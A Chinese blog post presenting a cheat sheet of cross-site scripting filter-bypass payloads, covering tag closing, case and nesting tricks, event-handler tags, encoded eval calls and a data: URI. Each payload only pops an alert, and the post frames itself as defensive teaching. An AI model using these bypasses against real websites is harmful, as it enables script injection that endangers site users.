天天看點

XSS bypass姿勢XSS bypass姿勢

作者:小剛

一位苦于資訊安全的萌新小白帽,記得關注給個贊,謝謝

本實驗僅用于資訊防禦教學,切勿用于其它用途

XSS bypass

  • XSS bypass姿勢
    • 閉合标簽
    • 标簽繞過
      • 大小寫繞過
      • 嵌套繞過
      • 空字元繞過
      • img标簽
      • iframe标簽
      • input标簽
      • a标簽
      • svg标簽
      • body
    • 編碼繞過
      • JS16編碼
      • ASCII與UTF-16、Unicode、Hex互相轉換
      • String.fromCharCode
      • data協定
    • 字元過濾繞過
      • 空格
      • 單引号

XSS bypass姿勢

嘗試構造xss,突破各種限制

閉合标簽

"><script>alert(1);</script>
           
//閉合大部分标簽
*/-->'");></iframe></script></style></title></textarea><a>a</a>
#*/-->'");></iframe></script></style></title></textarea><iframe >
           
//寬字元閉合
*/-->%cf"%d5'></iframe></script></style></title></textarea>
           
//回車換行
%0D%0A
           

标簽繞過

fuzz各種标簽,檢查是否存在攔截或者過濾

大小寫繞過

<ScRipt>ALeRt("XSS");</sCRipT>
           

嵌套繞過

<sc<script>ript>alert(/xss/);</script>
<scscriptript>alert(/xss/);</script>
           

空字元繞過

<ScR%09ipt>ALeRt(/XSS/);</sCRipT>
           

img标簽

<img src="" onerror="alert(/xss/)">
<img/src/onerror=alert(/xss/)>
<img/src='123'onerror=[/xss/].find(alert)>
           

iframe标簽

<iframe>是架構标簽,可以嘗試替代<script>突破限制

<iframe onload=alert(/xss/)>
<iframe src=javascript:alert(/xss/)>
           

input标簽

主要是在各種輸入框内使用

<input value="" onclick="alert(/xss/)">
<input value="" oninput="alert(/xss/)">
           

a标簽

連結标簽,點選即可觸發

<a href="javascript:alert(/xss/)" target="_blank" rel="external nofollow" >link</a>
           

svg标簽

SVG支援動畫特效,也就是利用一些标簽控制其他标簽的屬性,進而形成動畫特效。

<svg/onload=alert(/xss/)>
           

body

body主體标簽觸發,不咋常用

<BODY onload=alert(/xss/)>
           

編碼繞過

當alert被過濾時

可以嘗試eval觸發,并把alert語句編碼

JS16編碼

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>
           

ASCII與UTF-16、Unicode、Hex互相轉換

//ASCII轉UTF-16
<img src="1" onerror=eval("\u0061\u006C\u0065\u0072\u0074\u0028\u002F\u0078\u0073\u0073\u002F\u0029")>
           
//ASCII轉Unicode
<img src="1" onerror=eval("&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#120;&#115;&#115;&#47;&#41;")>
           
//ASCII轉Hex
<img src="1" onerror=eval("&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x2F;&#x78;&#x73;&#x73;&#x2F;&#x29;")>
           

String.fromCharCode

該函數用于從一些Unicode字元值中傳回一個字元串,傳回值屬于String對象

<img src="1" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))>
           

data協定

一種僞協定,和javascript協定一樣

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC9zY3JpcHQ+"></object>
           

字元過濾繞過

空格

<img/src=""onerror="alert(/xss/)">
<img/**/src=""onerror="alert(/xss/)">
<img/*a*/src=""onerror="alert(/xss/)">
           

單引号

<img/src=""onerror="alert(`xss`)">
           

繼續閱讀